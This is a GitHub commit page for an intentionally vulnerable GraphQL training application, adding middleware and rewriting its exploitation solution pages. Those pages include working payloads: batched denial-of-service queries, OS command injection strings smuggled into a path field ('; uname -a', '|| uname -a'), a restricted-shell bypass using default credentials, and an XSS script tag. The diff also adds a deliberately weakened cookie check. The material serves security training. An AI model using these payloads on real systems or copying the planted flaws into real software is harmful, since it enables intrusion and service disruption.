Skip to content

Commit

Permalink
version 1.3.0
Browse files Browse the repository at this point in the history
  • Loading branch information
dolevf committed Apr 18, 2021
1 parent 6aeacea commit 614a195
Show file tree
Hide file tree
Showing 27 changed files with 519 additions and 400 deletions.
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,8 @@ DVGA supports Beginner and Expert level game modes, which will change the exploi
* Batch Query Attack
* Deep Recursion Query Attack
* Resource Intensive Query Attack
* Field Duplication Attack
* Aliases based Attack
* **Information Disclosure**
* GraphQL Introspection
* GraphiQL Interface
Expand Down
51 changes: 32 additions & 19 deletions core/middleware.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,39 +4,39 @@
from core.decorators import run_only_once

from core import (
helpers,
parser,
helpers,
parser,
security
)

# Middleware
class DepthProtectionMiddleware(object):
def resolve(self, next, root, info, **kwargs):
def resolve(self, next, root, info, **kwargs):
if helpers.is_level_easy():
return next(root, info, **kwargs)

depth = 0
array_qry = []

if isinstance(info.context.json, dict):
array_qry.append(info.context.json)

elif isinstance(info.context.json, list):
array_qry = info.context.json

for q in array_qry:
query = q.get('query', None)
mutation = q.get('mutation', None)

if query:
depth = parser.get_depth(query)

elif mutation:
depth = parser.get_depth(query)

if security.depth_exceeded(depth):
raise werkzeug.exceptions.SecurityError('Query Depth Exceeded! Deep Recursion Attack Detected.')

return next(root, info, **kwargs)

class CostProtectionMiddleware(object):
Expand All @@ -49,10 +49,10 @@ def resolve(self, next, root, info, **kwargs):

if isinstance(info.context.json, dict):
array_qry.append(info.context.json)

elif isinstance(info.context.json, list):
array_qry = info.context.json

for q in array_qry:
query = q.get('query', None)
mutation = q.get('mutation', None)
Expand All @@ -61,13 +61,27 @@ def resolve(self, next, root, info, **kwargs):
fields_requested += parser.get_fields_from_query(query)
elif mutation:
fields_requested += parser.get_fields_from_query(mutation)

if security.cost_exceeded(fields_requested):
raise werkzeug.exceptions.SecurityError('Cost of Query is too high.')

return next(root, info, **kwargs)

class processMiddleware(object):
class OpNameProtectionMiddleware(object):
@run_only_once
def resolve(self, next, root, info, **kwargs):
if helpers.is_level_easy():
return next(root, info, **kwargs)

opname = helpers.get_opname(info.operation)

if opname != 'No Operation' and not security.operation_name_allowed(opname):
raise werkzeug.exceptions.SecurityError('Operation Name "{}" is not allowed.'.format(opname))

return next(root, info, **kwargs)


class processMiddleware(object):
def resolve(self, next, root, info, **kwargs):
if helpers.is_level_easy():
return next(root, info, **kwargs)
Expand All @@ -82,7 +96,7 @@ def resolve(self, next, root, info, **kwargs):
query = q.get('query', None)
if security.on_denylist(query):
raise werkzeug.exceptions.SecurityError('Query is on the Deny List.')

return next(root, info, **kwargs)

class IntrospectionMiddleware(object):
Expand All @@ -103,8 +117,7 @@ def resolve(self, next, root, info, **kwargs):
raise werkzeug.exceptions.SecurityError('GraphiQL is disabled')

cookie = request.cookies.get('env')
if cookie and helpers.decode_base64(cookie) == 'graphiql:enable':
if cookie and cookie == 'graphiql:enable':
return next(root, info, **kwargs)

raise werkzeug.exceptions.SecurityError('GraphiQL Access Rejected')


raise werkzeug.exceptions.SecurityError('GraphiQL Access Rejected')
15 changes: 10 additions & 5 deletions core/security.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,6 @@ def simulate_load():
if count > limit:
return


def is_port(port):
if isinstance(port, int):
if port >= 0 and port <= 65535:
Expand Down Expand Up @@ -56,6 +55,12 @@ def on_denylist(query):
return True
return False

def operation_name_allowed(operation_name):
opnames_allowed = ['CreatePaste', 'getPastes', 'UploadPaste', 'ImportPaste']
if operation_name in opnames_allowed:
return True
return False

def depth_exceeded(depth):
depth_allowed = config.MAX_DEPTH
if depth > depth_allowed:
Expand All @@ -65,16 +70,16 @@ def depth_exceeded(depth):
def cost_exceeded(qry_fields):
total_cost_allowed = config.MAX_COST
total_query_cost = 0

field_cost = {
'systemUpdate':10,
}

for field in qry_fields:
if field in field_cost:
total_query_cost += field_cost[field]

if total_query_cost > total_cost_allowed:
return True

return False
5 changes: 3 additions & 2 deletions core/views.py
Original file line number Diff line number Diff line change
Expand Up @@ -202,7 +202,7 @@ def resolve_system_health(self, info):
@app.route('/')
def index():
resp = make_response(render_template('index.html'))
resp.set_cookie("env", "Z3JhcGhpcWw6ZGlzYWJsZQ==")
resp.set_cookie("env", "graphiql:disable")
return resp

@app.route('/about')
Expand Down Expand Up @@ -284,7 +284,8 @@ def set_difficulty():
middleware.CostProtectionMiddleware(),
middleware.DepthProtectionMiddleware(),
middleware.IntrospectionMiddleware(),
middleware.processMiddleware()
middleware.processMiddleware(),
middleware.OpNameProtectionMiddleware()
]

igql_middlew = [
Expand Down
2 changes: 2 additions & 0 deletions db/solutions.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,4 +15,6 @@
"partials/solutions/solution_14.html",
"partials/solutions/solution_15.html",
"partials/solutions/solution_16.html",
"partials/solutions/solution_17.html",
"partials/solutions/solution_18.html",
]
8 changes: 8 additions & 0 deletions templates/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,14 @@ <h4>Getting Started</h4>
<p>If you are interacting with DVGA programmatically, you can set a specific game mode (such as Beginner, or Expert) by passing the HTTP Request Header <code>X-DVGA-MODE</code> with either <code>Beginner</code> or <code>Expert</code> as values.</p>
<p>If the Header is not set, DVGA will default to <u>Easy mode</u>.</p>
<br />
<h4>Difficulty Level Explanation</h4>
<h5>Beginner</h5>
<p>
DVGA's Beginner level is literally the default GraphQL implementation without any restrictions, security controls, or other protections. This is what you would get out of the box in most of the GraphQL implementations without hardening, with the addition of other custom vulnerabilities.
</p>
<h5>Hard</h5>
<p>DVGA's Hard level is a hardened GraphQL implementation which contains a few security controls against malicious queries, such as Cost Based Analysis, Query Depth, Field De-dup checks, etc.</p>
<br />
<h4>GraphQL Resources</h4>
<p>
To learn about GraphQL, and common GraphQL weaknesses and attacks, the following
Expand Down
2 changes: 1 addition & 1 deletion templates/partials/navbar.html
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@
<div class="dropdown-menu dropdown-menu-right" aria-labelledby="difficultyDropDown">
<a class="dropdown-item" href="/difficulty/easy">Beginner {% if session['difficulty'] == "easy" %} <i
class="fa fa-check"></i> {% endif %}</a>
<a class="dropdown-item" href="/difficulty/hard">Expert {% if session['difficulty'] == "hard" %} <i
<a class="dropdown-item" href="/difficulty/hard">Expert (Hardened) {% if session['difficulty'] == "hard" %} <i
class="fa fa-check"></i> {% endif %}</a>
</div>
</li>
Expand Down
21 changes: 10 additions & 11 deletions templates/partials/solutions/solution_1.html
Original file line number Diff line number Diff line change
Expand Up @@ -14,20 +14,19 @@ <h5>Resources</h5>
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-dos-batch')">Show</button></h5>
<div id="sol-dos-batch" style="display:none">
<pre class="bash">
# Beginner mode
# Beginner mode

# We chain multiple resource intensive queries in an array and pass it to GraphQL
data = [
{"query":"query {\n systemUpdate\n}","variables":[]},
{"query":"query {\n systemUpdate\n}","variables":[]},
{"query":"query {\n systemUpdate\n}","variables":[]}
]
# We chain multiple resource intensive queries in an array and pass it to GraphQL
data = [
{"query":"query {\n systemUpdate\n}","variables":[]},
{"query":"query {\n systemUpdate\n}","variables":[]},
{"query":"query {\n systemUpdate\n}","variables":[]}
]

requests.post('http://host/graphql', json=data)
requests.post('http://host/graphql', json=data)

# Expert mode
# Expert mode

# Cost Query Analysis is enabled, which should prevent running batched system updates from going through.
</pre>
Cost Query Analysis is enabled, which should prevent running batched system updates from going through.</pre>
</div>
<!-- End -->
42 changes: 24 additions & 18 deletions templates/partials/solutions/solution_10.html
Original file line number Diff line number Diff line change
@@ -1,32 +1,38 @@
<!-- Start -->
<h3 style="color:purple" id="inj-xss"><b>Injection :: Stored Cross Site Scripting</b></h3>
<h3 style="color:purple" id="exec-os-1"><b>Code Execution :: OS Command Injection #1</b></h3>
<hr />
<h5>Problem Statement</h5>
<p>
The GraphQL mutations <code>createPaste</code> and <code>importPaste</code> allow creating and importing new pastes. The pastes may include any character without any restrictions. The pastes would then render in
the Public and Private paste pages, which would result in a Cross Site Scripting vulnerability (XSS).</p>
The mutation <code>importPaste</code> allows escaping from the parameters and introduce a UNIX command by chaining
commands. The GraphQL resolver does not sufficiently validate the input, and passes it directly
into <code>cURL</code>.</p>
<h5>Resources</h5>
<ul>
<li>
<a href="https://portswigger.net/web-security/cross-site-scripting/stored" target="_blank">
<i class="fa fa-newspaper"></i> PortSwigger - Stored Cross Site Scripting
<a href="https://owasp.org/www-community/attacks/Command_Injection" target="_blank">
<i class="fa fa-newspaper"></i> OWASP - Command Injection
</a>
</li>
</ul>
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-inj-xss')">Show</button></h5>
<div id="sol-inj-xss" style="display:none">
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-exec-os-1')">Show</button></h5>
<div id="sol-exec-os-1" style="display:none">
<pre class="bash">
# Create New Paste allows special characters that would render in HTML.
mutation {
createPaste(title:"&lt;script&gt;alert(1)&lt;/script&gt;", content:"zzzz", public:true) {
pasteId
}
}
# Beginner mode

# Alternatively, importing a paste that includes Javascript will also result in the same behaviour.
mutation {
importPaste(host:"localhost", port:80, path:"/xss.html"")
}
</pre>
# Import Paste allows specifying UNIX characters to break out of the URL provided to importPaste, using characters such as ";" "&&", "||", and more.
mutation {
importPaste(host:'localhost', port:80, path:"/ ; uname -a", scheme:"http"){
result
}
}

# Expert mode

# Import Paste filters characters such as ";" and "&" but not "|", if you manage to cause the import to fail, you can double pipe it to a command that will execute in the context of the operating system.
mutation {
importPaste(host:"hostthatdoesnotexist.com", port:80, path:"/ || uname -a", scheme:"http") {
result
}
}</pre>
</div>
<!-- End -->
57 changes: 34 additions & 23 deletions templates/partials/solutions/solution_11.html
Original file line number Diff line number Diff line change
@@ -1,36 +1,47 @@
<!-- Start -->
<h3 style="color:purple" id="inj-log"><b>Injection :: Log Injection</b></h3>
<h3 style="color:purple" id="exec-os-2"><b>Code Execution :: OS Command Injection #2</b></h3>
<hr />
<h5>Problem Statement</h5>
<p>
GraphQL actions such as <code>mutation</code> and <code>query</code> have the ability to take an <code>operation name</code> as part of the query.
Here is an example query that uses <code>MyName</code> as an operation name:
<pre>query MyName {
getMyName
{
first
last
}
} </pre></p>
<p>The application is keeping track of all queries and mutations users are executing on this system in order to display them in the audit log.</p>
<p>However, the application is not doing a fair job at verifying the operation name.</p>
The query <code>systemDiagnostics</code> accepts certain UNIX binaries as parameters for debugging purposes, such as
<code>whoami</code>, <code>ps</code>, etc. It acts as a restricted shell. However, it is protected
with a username and password. After obtaining the <a href="http://127.0.0.1:5000/solutions#misc-weakpass">correct
credentials</a>, the restricted shell seems to be bypassable by chaining commands together.
</p>
<h5>Resources</h5>
<ul>
<li>
<a href="https://cwe.mitre.org/data/definitions/117.html" target= "_blank">
<i class="fa fa-newspaper"></i> CWE-117: Improper Output Neutralization for Logs
<a href="https://www.netsparker.com/blog/web-security/command-injection-vulnerability/" target="_blank">
<i class="fa fa-newspaper"></i> Netsparker - Command Injection
</a>
</li>
</ul>
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-inj-log')">Show</button></h5>
<div id="sol-inj-log" style="display:none">
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-exec-os-2')">Show</button></h5>
<div id="sol-exec-os-2" style="display:none">
<pre class="bash">
# Spoof the operation conducted to getPaste instead of createPaste
mutation getPaste{
createPaste(title:"&lt;script&gt;alert(1)&lt;/script&gt;", content:"zzzz", public:true) {
pasteId
}
}
</pre>
# System Diagnostics suffers from weak restricted shell implementation

query {
systemDiagnostics(username:"admin", password:"password", cmd:"id")
}

>>> Response:
{
"data": {
"systemDiagnostics": "id: command not found"
}
}


query {
systemDiagnostics(username:"admin", password:"password", cmd:"id; ls -l")
}

>>> Response:
{
"data": {
"systemDiagnostics": "total 128\ndrwxr-xr- .. COLORTERM=truecolor\n_=/usr/bin/env\n"
}
}</pre>
</div>
<!-- End -->
Loading

0 comments on commit 614a195

Please sign in to comment.